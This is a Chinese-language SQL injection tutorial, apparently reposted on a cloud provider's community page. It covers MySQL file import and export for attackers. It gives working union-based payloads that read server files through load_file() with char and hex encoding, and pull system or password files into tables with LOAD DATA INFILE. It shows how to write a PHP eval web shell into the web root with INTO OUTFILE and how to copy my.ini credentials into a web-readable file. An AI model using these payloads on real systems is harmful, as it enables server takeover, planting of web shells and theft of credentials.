MYSQL注入天書之匯入匯出介紹

來源:互聯網
上載者:User

標籤:

Background-3 匯入匯出相關操作的講解

  1. load_file()匯出檔案

    Load_file(file_name):讀取檔案並返回該檔案的內容作為一個字串。

    使用條件:

    A、必須有許可權讀取並且檔案必須完全可讀?

    ? ? ? ? ? and (select count(*) from mysql.user)>0/* 如果結果返回正常,說明具有讀寫權限。

    ? ? ? and (select count(*) from mysql.user)>0/* 返回錯誤,應該是管理員給資料庫帳戶降權

      B、欲讀取檔案必須在伺服器上?

      C、必須指定檔案完整的路徑?

      D、欲讀取檔案必須小於 max_allowed_packet?

    如果該檔案不存在,或因為上面的任一原因而不能被讀出,函數返回空。比較難滿足的就是許可權,在windows下,如果NTFS設定得當,是不能讀取相關的檔案的,當遇到只有administrators才能訪問的檔案,users就別想load_file出來。?

      在實際的注入中,我們有兩個痛點需要解決:?

      ?  絕對實體路徑?

    構造有效畸形語句?(報錯爆出絕對路徑)

      在很多PHP程式中,當提交一個錯誤的Query,如果display_errors = on,程式就會暴露WEB目錄的絕對路徑,只要知道路徑,那麼對於一個可以注入的PHP程式來說,整個伺服器的安全將受到嚴重的威脅。

    常用路徑:

    http://www.cnblogs.com/lcamry/p/5729087.html

    ?

    樣本:Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92,114,101,112,97,105,114,92,115,97,109)))

    利用hex()將檔案內容匯出來,尤其是smb檔案時可以使用。

    ?

    -1 union select 1,1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))?

    Explain:"char(99,58,47,98,111,111,116,46,105,110,105)"就是"c:/boot.ini"的ASCII代碼

    ?

    -1 union select 1,1,1,load_file(0x633a2f626f6f742e696e69)?

    Explain:"c:/boot.ini"的16進位是"0x633a2f626f6f742e696e69"

    ?

    -1 union select 1,1,1,load_file(c:\\boot.ini)?

    Explain:路徑裡的/用 \\代替

    ?

  2. 檔案匯入到資料庫

    LOAD DATA INFILE語句用於高速地從一個文字檔中讀取行,並裝入一個表中。檔案名稱必須為一個文字字串。

    在注入過程中,我們往往需要一些特殊的檔案,比如設定檔,密碼檔案等。當你具有資料庫的許可權時,可以將系統檔案利用load data infile匯入到資料庫中。

    函數具體介紹:對於參數介紹這裡就不過多的贅述了,可以參考mysql的文檔。(提醒:參考文檔才是最佳的學習資料)

    樣本:load data infile ‘/tmp/t0.txt‘ ignore into table t0 character set gbk fields terminated by ‘\t‘ lines terminated by ‘\n‘

    將/tmp/t0.txt匯入到t0表中,character set gbk是字元集設定為gbk,fields terminated by是每一項資料之間的分隔字元,lines terminated by 是行的結尾符。

    當錯誤碼是2的時候的時候,檔案不存在,錯誤碼為13的時候是沒有許可權,可以考慮/tmp等檔案夾。

    TIPS:我們從mysql5.7的文檔看到添加了load xml函數,是否依舊能夠用來做注入還需要驗證。

  3. 匯入到檔案

    SELECT.....INTO OUTFILE ‘file_name‘

    可以把被選擇的行寫入一個檔案中。該檔案被建立到伺服器主機上,因此您必須擁有FILE許可權,才能使用此文法。file_name不能是一個已經存在的檔案。

    我們一般有兩種利用形式:

    第一種直接將select內容匯入到檔案中:

    Select version() into outfile "c:\\phpnow\\htdocs\\test.php"

    此處將version()替換成一句話,<?php @eval($_post["mima"])?>也即

    Select ?<?php @eval($_post["mima"])?> ?into outfile "c:\\phpnow\\htdocs\\test.php"

    直接連接一句話就可以了,其實在select內容中不僅僅是可以上傳一句話的,也可以上傳很多的內容。

    ??

    第二種修改檔案結尾:

    Select version() Into outfile "c:\\phpnow\\htdocs\\test.php"?LINES TERMINATED BY 0x16進位檔案

    解釋:通常是用‘\r\n‘結尾,此處我們修改為自己想要的任何檔案。同時可以用FIELDS TERMINATED BY 

    16進位可以為一句話或者其他任何的代碼,可自行構造。在sqlmap中os-shell採取的就是這樣的方式,具體可參考os-shell分析文章:http://www.cnblogs.com/lcamry/p/5505110.html?

    ?

    ?

    TIPS:

    (1)可能在檔案路徑當中要注意轉義,這個要看具體的環境

    ??(2)上述我們提到了load_file(),但是當前台無法匯出資料的時候,我們可以利用下面的語句:

    select load_file(‘c:\\wamp\\bin\\mysql\\mysql5.6.17\\my.ini‘)into outfile ‘c:\\wamp\\www\\test.php‘

    可以利用該語句將伺服器當中的內容匯入到web伺服器下的目錄,這樣就可以得到資料了。上述my.ini當中存在password項(不過預設被注釋),當然會有很多的內容可以被匯出來,這個要平時積累。

MYSQL注入天書之匯入匯出介紹

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.